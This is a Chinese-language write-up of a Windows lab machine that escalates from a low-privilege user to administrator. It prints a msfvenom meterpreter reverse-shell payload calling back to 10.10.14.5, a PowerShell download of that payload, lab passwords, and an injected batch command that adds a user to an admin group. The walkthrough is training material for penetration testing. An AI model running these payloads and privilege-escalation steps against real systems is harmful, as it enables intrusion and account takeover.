前言
这是一台纯Windows渗透的靶机,通过powershell的各种命令实现从一个低权限用户提权到一个高权限用户的过程
除此之外,这是一台很好的内网靶机,通过这台靶机可以学习到很多内网渗透的姿势。
解题思路
信息收集
对目标靶机进行扫描时发现只开放了443端口,很奇怪。但是我们发现了一个域名地址我
们可以尝试添加到hosts文件中进行访问
是一个非常正常的web页面
浏览about us页面时,发现很多人名,编辑将其保存为users.txt文件
在关于页面上下载一个doc文档查看是否存在有价值的信息
在查找信息时,发现存在一个默认密码和一个remote远程地址
新的链接地址是一个登录表单
可以通过前期整理的用户名和密码进行尝试,但是这里发现需要填写计算机名可以
使用exiftool工具找到计算机名
最后使用Edavies这个账户登录成功,登录成功后发现是一个powershell界面
漏洞利用
查看到计算机上除了Edavies这个用户外,还存在其他用户。这些用户可能都存在不用的权限
因此下一步要做的就是横向到这各个用户上去。
因此漏洞利用的思路就出来了,可以生成一个远控shell,投毒到当前靶机上接收它的shell终端
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5
LPORT=4444 -f exe > shell.exe
要下载这个payload,就要用到powershell的远程下载命令了 同时MSF那边开启监听
Invoke-WebRequest "http://10.10.14.5/shell.exe" -OutFile "shell.exe"
接收到edavies的shell终端
提权
edavies提权imonks
使用screenshare命令查看靶机正在进行什么活动,命令执行它将其保存为html文件
发现目标主机正在执行如下的命令操作,从这些信息中可以获取到密码,用户的认证凭证等信息
得到这些信息后,只需要配合Invoke-Command命令并执行相同的操作那么就可以
获取到imonks用户的权限了
$passwd = ConvertTo-SecureString "w3_4R3_th3_f0rce" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("acute\imonks",$passwd)
Invoke-Command -computerName atsserver -ConfigurationName dc_ma
nage -ScriptBlock {whoami} -credential $cred
有了用户密码和凭据,就可以对imonks用户的目录进行查看了
Invoke-Command -computerName atsserver -ConfigurationName dc_man
age -ScriptBlock {ls /users} -credential $cred
imonks提权jmorgan
在imonks的桌面目录上,除了看见user.txt文件外,还存在一个powershell脚本,脚本内容如下
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f
24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000
000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d
2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8
a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
从上面的脚本内容上看,脚本首先是对密码进行加密处理,然后通过验证cred变量从而去
执行Get-Volume这个命令想要获取到jmorgan用户的权限,就得替换掉命令里的内容并
执行属于我们自己的载荷文件。
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock{((Get-Cont
ent "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\rev.exe') | set-co
ntent -path c:\users\imonks\Desktop\wm.ps1} -credential $cred
invoke-Command -computername atsserver -ConfigurationName dc_manage -Script
Block {C:\Users\imonks\Desktop\wm.ps1} -credential $cred
jmorgan提权Administrator
得到jmorgan用户的权限后,可以查看该用户是否在管理员组中
很幸运,jmorgan用户是处于管理员组中,那么就可以对Administraor用户进行hash dump
解密出密码是Password@123
但是很可惜的是,当尝试使用这个密码去登录管理员的时候,是失败的。那么这里就要用到密码
重用技术类似于尝试使用同一个密码去登录不同的用户
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\awallace", $passwd)
invoke-Command -computername atsserver -ConfigurationName dc_man
age -ScriptBlock {whoami} -credential $cred
显示登录成功,接着可以查看这个用户对应的目录文件,可以看到里面存在一个keepmeon目录
里面存在一个bat脚本,这个脚本的作用是每5分钟运行一次
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
那么思路就是,只要把这个脚本加到计划任务上。等待5分钟后执行这个脚本并awallace
用户添加到site_admin管理员组上
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cr
ed -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group site
_admin awallace /add /domain'}
invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptB
lock {net group site_admin} -credential $cred
最后可以查看到Administrator账户里的目录文件信息了
|